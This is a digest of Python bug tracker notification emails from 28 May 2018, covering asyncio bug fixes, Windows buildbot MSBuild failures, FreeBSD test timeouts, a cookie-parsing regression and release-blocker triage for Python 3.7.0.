_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:12:31 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 21:12:31 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527541951.63.0.682650639539.issue33469@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6812 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:14:36 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 21:14:36 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527542076.02.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6813 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:14:43 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 21:14:43 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527542083.1.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6814 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:40:31 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Mon, 28 May 2018 21:40:31 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527543631.23.0.682650639539.issue33642@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I pushed a commit for these three items. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:47:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:47:06 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527544026.11.0.682650639539.issue33672@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6815 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:54:04 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:54:04 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527544444.52.0.682650639539.issue32610@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 416c1ebd9896b394790dcb4f9f035b1a44ebe9ff by Yury Selivanov in branch 'master': bpo-32610: Fix asyncio.all_tasks() to return only pending tasks. (GH-7174) https://github.com/python/cpython/commit/416c1ebd9896b394790dcb4f9f035b1a44ebe9ff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:55:05 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:55:05 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527544505.98.0.682650639539.issue32610@psf.upfronthosting.co.za> Yury Selivanov added the comment: Ned, this one would also be nice to have in 3.7.0. The patch alters the behaviour of new 3.7 api. ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:55:14 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 21:55:14 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527544514.12.0.682650639539.issue32610@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6816 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:56:19 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:56:19 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527544579.93.0.682650639539.issue33672@psf.upfronthosting.co.za> Yury Selivanov added the comment: Ned, this one would be nice to have in 3.7.0. ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:57:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:57:06 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527544626.47.0.682650639539.issue33623@psf.upfronthosting.co.za> Yury Selivanov added the comment: Would be great to merge this in 3.7.0. The change is super safe to merge. ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 17:57:46 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 21:57:46 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527544666.36.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: Would be great to have this change in 3.7.0 (it's safe to merge it IMO) ---------- nosy: +larry, ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:01:18 2018 From: report at bugs.python.org (Sam Park) Date: Mon, 28 May 2018 22:01:18 +0000 Subject: [issue25228] Regression in http.cookies parsing with brackets and quotes In-Reply-To: <1443113876.69.0.763546669405.issue25228@psf.upfronthosting.co.za> Message-ID: <1527544878.65.0.682650639539.issue25228@psf.upfronthosting.co.za> Change by Sam Park : ---------- nosy: +spark _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:05:46 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Mon, 28 May 2018 22:05:46 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527545146.8.0.682650639539.issue33671@psf.upfronthosting.co.za> ???? ????????? added the comment: http://man7.org/linux/man-pages/man2/ioctl_ficlonerange.2.html That possibly should be used under Linux in order to really acheive zero-copying. Just like modern cp command. ---------- nosy: +socketpair _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:14:20 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 22:14:20 +0000 Subject: [issue32457] Windows Python cannot handle an early PATH entry containing ".." and python.exe In-Reply-To: <1514660312.79.0.213398074469.issue32457@psf.upfronthosting.co.za> Message-ID: <1527545660.34.0.682650639539.issue32457@psf.upfronthosting.co.za> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:20:23 2018 From: report at bugs.python.org (Sam Park) Date: Mon, 28 May 2018 22:20:23 +0000 Subject: [issue25228] Regression in http.cookies parsing with brackets and quotes In-Reply-To: <1443113876.69.0.763546669405.issue25228@psf.upfronthosting.co.za> Message-ID: <1527546023.37.0.682650639539.issue25228@psf.upfronthosting.co.za> Sam Park added the comment: I'm seeing a similar issue with curly brackets. from Cookie import BaseCookie cookie = BaseCookie('asd={"asd"}; my-real-cookie=stuff i care about; blah=blah') assert 'my-real-cookie' in cookie # False ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:29:44 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 22:29:44 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527546584.42.0.682650639539.issue33672@psf.upfronthosting.co.za> Ned Deily added the comment: bug fix, go for it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:31:10 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 22:31:10 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527546670.65.0.682650639539.issue33672@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 075c662086859f864aa1179f57367aa470ee6335 by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-33672: Fix Task.__repr__ crash with Cython's bogus coroutines (GH-7161) (GH-7173) https://github.com/python/cpython/commit/075c662086859f864aa1179f57367aa470ee6335 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:31:29 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 22:31:29 +0000 Subject: [issue29392] msvcrt.locking crashes python In-Reply-To: <1485797426.48.0.513516354213.issue29392@psf.upfronthosting.co.za> Message-ID: <1527546689.64.0.682650639539.issue29392@psf.upfronthosting.co.za> Change by Steve Dower : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:31:57 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 22:31:57 +0000 Subject: [issue32410] Implement loop.sock_sendfile method In-Reply-To: <1513948033.17.0.213398074469.issue32410@psf.upfronthosting.co.za> Message-ID: <1527546717.49.0.682650639539.issue32410@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 7165754b6b5f3b7c07050d921fa1c58bba5f0ff1 by Yury Selivanov in branch 'master': bpo-32410: Avoid blocking on file IO in sendfile fallback code (GH-7172) https://github.com/python/cpython/commit/7165754b6b5f3b7c07050d921fa1c58bba5f0ff1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:33:09 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 22:33:09 +0000 Subject: [issue32410] Implement loop.sock_sendfile method In-Reply-To: <1513948033.17.0.213398074469.issue32410@psf.upfronthosting.co.za> Message-ID: <1527546789.62.0.682650639539.issue32410@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6817 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:41:18 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 28 May 2018 22:41:18 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile Message-ID: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> New submission from Pablo Galindo Salgado : It seems that since c489a767af46f33e73d96a5746e46a7365814db2 the AMD64 Windows10 buildbot for Python3.6 fails to compile. Error log: Using "C:\Program Files (x86)\MSBuild\14.0\bin\\msbuild.exe" (found in the registry) Cannot locate MSBuild.exe on PATH or as MSBUILD variable Deleting .pyc/.pyo files ... Deleting test leftovers ... Could Not Find D:\buildarea\3.6.bolen-windows10\build\Lib\*.pyc The system cannot find the file specified. Could Not Find D:\buildarea\3.6.bolen-windows10\build\PCbuild\python*.zip Using "D:\buildarea\3.6.bolen-windows10\build\PCbuild\\..\externals\pythonx86\tools\python.exe" (found in externals directory) Fetching external libraries... bzip2-1.0.6 already exists, skipping. openssl-1.0.2o already exists, skipping. sqlite-3.21.0.0 already exists, skipping. tcl-core-8.6.6.0 already exists, skipping. tk-8.6.6.0 already exists, skipping. tix-8.4.3.6 already exists, skipping. xz-5.2.2 already exists, skipping. Fetching external binaries... nasm-2.11.06 already exists, skipping. Finished. Using "C:\Program Files (x86)\MSBuild\14.0\bin\\msbuild.exe" (found in the registry) Cannot locate MSBuild.exe on PATH or as MSBUILD variable program finished with exit code 2 elapsedTime=1.953000 ---------- components: Build messages: 317937 nosy: pablogsal priority: normal severity: normal status: open title: Buildbot AMD64 Windows10 3.6 fails to compile versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:43:20 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 28 May 2018 22:43:20 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527547400.95.0.682650639539.issue33675@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: http://buildbot.python.org/all/#/builders/31/builds/321 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:44:22 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 22:44:22 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527547461.99.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: I *believe* this change will prevent the issue in the future, so marking this as fixed. But I wasn't able to reproduce it locally, so there may be something funny about either the file system or the version of MSBuild on the buildbots that caused it to not rebuild properly. In any case, my change causes it to rebuild based on contents rather than timestamp, so it should be more reliable. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:46:13 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 22:46:13 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527547573.93.0.682650639539.issue33675@psf.upfronthosting.co.za> Ned Deily added the comment: If it's a problem with a Windows build, you should add the Windows component so the Windows team is nosied. But, in this case, I think Steve has already fixed this. ---------- components: +Windows nosy: +ned.deily, paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:47:25 2018 From: report at bugs.python.org (Ethan Smith) Date: Mon, 28 May 2018 22:47:25 +0000 Subject: [issue32380] functools.singledispatch interacts poorly with methods In-Reply-To: <1513722188.44.0.213398074469.issue32380@psf.upfronthosting.co.za> Message-ID: <1527547645.74.0.682650639539.issue32380@psf.upfronthosting.co.za> Ethan Smith added the comment: This was fixed, so I think it can be closed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:47:51 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 22:47:51 +0000 Subject: [issue23749] asyncio missing wrap_socket (starttls) In-Reply-To: <1427119199.61.0.485462184824.issue23749@psf.upfronthosting.co.za> Message-ID: <1527547671.67.0.682650639539.issue23749@psf.upfronthosting.co.za> STINNER Victor added the comment: I found a race condition in START TLS: bpo-33674. I'm fixing it (I'm just waiting to merge my PR which has already been approved). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:50:04 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 22:50:04 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527547804.96.0.682650639539.issue33469@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8d8b86116fae91570c26fa48974b54986fbd1b72 by Miss Islington (bot) in branch '3.7': bpo-33469: RuntimeError after closing loop that used run_in_executor (GH-7171) https://github.com/python/cpython/commit/8d8b86116fae91570c26fa48974b54986fbd1b72 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:56:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 22:56:06 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527548166.23.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: Hum, the test still fails on AMD64 FreeBSD CURRENT Debug 3.x :-( http://buildbot.python.org/all/#/builders/60/builds/77 test_sock_client_ops (test.test_asyncio.test_events.PollEventLoopTests) ... ok Timeout (0:15:00)! Thread 0x000000080139d000 (most recent call first): File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/selectors.py", line 415 in select File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 1707 in _run_once File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 523 in run_forever File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/asyncio/base_events.py", line 555 in run_until_complete File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_asyncio/test_events.py", line 2117 in run_loop File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_asyncio/test_events.py", line 2220 in test_sock_sendfile_mix_with_regular_send ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 18:59:59 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 28 May 2018 22:59:59 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527548399.89.0.682650639539.issue33675@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Could http://buildbot.python.org/all/#/builders/90/builds/350 be related to this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:00:23 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 23:00:23 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527548423.61.0.682650639539.issue33353@psf.upfronthosting.co.za> Yury Selivanov added the comment: Andrew, I'm out of capacity here, could you please take a look when you have time? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:00:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:00:54 +0000 Subject: [issue30317] test_timeout() of test_multiprocessing_spawn.WithManagerTestBarrier fails randomly on x86 Windows7 3.x buildbot In-Reply-To: <1494345179.69.0.743787858569.issue30317@psf.upfronthosting.co.za> Message-ID: <1527548454.22.0.682650639539.issue30317@psf.upfronthosting.co.za> STINNER Victor added the comment: Recent failure on x86 Windows7 3.x: http://buildbot.python.org/all/#/builders/58/builds/914 ====================================================================== FAIL: test_timeout (test.test_multiprocessing_spawn.WithManagerTestQueue) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 1040, in test_timeout self.assertGreaterEqual(delta, 0.170) AssertionError: 0.1373279094696045 not greater than or equal to 0.17 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:03:48 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:03:48 +0000 Subject: [issue33676] test_multiprocessing_fork: dangling threads warning Message-ID: <1527548628.93.0.682650639539.issue33676@psf.upfronthosting.co.za> New submission from STINNER Victor : AMD64 FreeBSD 10.x Shared 3.7: http://buildbot.python.org/all/#/builders/124/builds/327 == CPU count: 2 Run tests in parallel using 4 child processes (...) 0:02:09 load avg: 3.70 [138/415/1] test_multiprocessing_fork failed (env changed) (108 sec) -- running: test_concurrent_futures (124 sec) (...) test_starmap (test.test_multiprocessing_fork.WithThreadsTestPool) ... ok test_starmap_async (test.test_multiprocessing_fork.WithThreadsTestPool) ... ok test_terminate (test.test_multiprocessing_fork.WithThreadsTestPool) ... ok test_traceback (test.test_multiprocessing_fork.WithThreadsTestPool) ... ok test_wrapped_exception (test.test_multiprocessing_fork.WithThreadsTestPool) ... ok Warning -- Dangling threads: {} ---------- components: Tests messages: 317948 nosy: vstinner priority: normal severity: normal status: open title: test_multiprocessing_fork: dangling threads warning versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:04:12 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 28 May 2018 23:04:12 +0000 Subject: [issue30317] test_timeout() of test_multiprocessing_spawn.WithManagerTestBarrier fails randomly on x86 Windows7 3.x buildbot In-Reply-To: <1494345179.69.0.743787858569.issue30317@psf.upfronthosting.co.za> Message-ID: <1527548652.71.0.682650639539.issue30317@psf.upfronthosting.co.za> Change by Ned Deily : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:08:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:08:55 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527548935.6.0.682650639539.issue33675@psf.upfronthosting.co.za> STINNER Victor added the comment: It seems like a regression of bpo-33614. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:09:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:09:55 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527548995.85.0.682650639539.issue33614@psf.upfronthosting.co.za> STINNER Victor added the comment: It seems like the commit c489a767af46f33e73d96a5746e46a7365814db2 broke the AMD64 Windows10 buildbot: bpo-33675. I reopen this issue. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:10:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:10:55 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527549055.87.0.682650639539.issue33675@psf.upfronthosting.co.za> STINNER Victor added the comment: Similar failure on x86 Windows7 3.6: http://buildbot.python.org/all/#builders/90/builds/350 "Cannot locate MSBuild.exe on PATH or as MSBUILD variable" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:11:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:11:05 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile: Cannot locate MSBuild.exe on PATH or as MSBUILD variable In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527549065.46.0.682650639539.issue33675@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Buildbot AMD64 Windows10 3.6 fails to compile -> Buildbot AMD64 Windows10 3.6 fails to compile: Cannot locate MSBuild.exe on PATH or as MSBUILD variable _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:12:29 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:12:29 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile: Cannot locate MSBuild.exe on PATH or as MSBUILD variable In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527549149.22.0.682650639539.issue33675@psf.upfronthosting.co.za> STINNER Victor added the comment: AMD64 Windows10 3.7: http://buildbot.python.org/all/#/builders/121/builds/256 "Cannot locate MSBuild.exe on PATH or as MSBUILD variable" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:14:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:14:04 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527549244.09.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: Similar failure on AMD64 FreeBSD CURRENT Non-Debug 3.7: http://buildbot.python.org/all/#/builders/112/builds/62 Timeout (0:15:00)! Thread 0x0000000801324000 (most recent call first): File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/selectors.py", line 323 in select File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/asyncio/base_events.py", line 1707 in _run_once File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/asyncio/base_events.py", line 523 in run_forever File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/asyncio/base_events.py", line 555 in run_until_complete File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/test/test_asyncio/test_events.py", line 2117 in run_loop File "/usr/home/buildbot/python/3.7.koobs-freebsd-current.nondebug/build/Lib/test/test_asyncio/test_events.py", line 2311 in test_sendfile ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:17:58 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:17:58 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527549478.11.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: Already fixed in GH-7169, GH-7176 and GH-7177 (which I apparently typo'd "bpo" in the commit message, so they didn't link up properly here). ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:18:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:18:20 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527549500.48.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: > http://buildbot.python.org/all/#/builders/112/builds/62 On the previous build, test_asyncio only took 3 min 54 sec: far from the 15 min timeout limit :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:18:38 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:18:38 +0000 Subject: [issue33675] Buildbot AMD64 Windows10 3.6 fails to compile: Cannot locate MSBuild.exe on PATH or as MSBUILD variable In-Reply-To: <1527547278.22.0.682650639539.issue33675@psf.upfronthosting.co.za> Message-ID: <1527549518.29.0.682650639539.issue33675@psf.upfronthosting.co.za> Steve Dower added the comment: Already fixed in GH-7169, GH-7176 and GH-7177 ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:20:03 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:20:03 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527549603.88.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by Steve Dower : ---------- components: +Windows -Demos and Tools nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:20:36 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:20:36 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527549636.94.0.682650639539.issue33673@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 3d3e66c2daebd8e6b18944eac7546168c0006c78 by Steve Dower (Andr?s Delfino) in branch 'master': bpo-33673: Install python-docs-theme even if Sphinx is already installed (GH-7163) https://github.com/python/cpython/commit/3d3e66c2daebd8e6b18944eac7546168c0006c78 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:21:44 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 23:21:44 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527549704.41.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6818 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:22:44 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 23:22:44 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527549763.99.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6819 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:25:42 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:25:42 +0000 Subject: [issue33001] Buffer overflow vulnerability in os.symlink on Windows (CVE-2018-1000117) In-Reply-To: <1520273082.67.0.467229070634.issue33001@psf.upfronthosting.co.za> Message-ID: <1527549942.86.0.682650639539.issue33001@psf.upfronthosting.co.za> Steve Dower added the comment: Thanks Larry for merging the backports! ---------- resolution: -> fixed stage: patch review -> 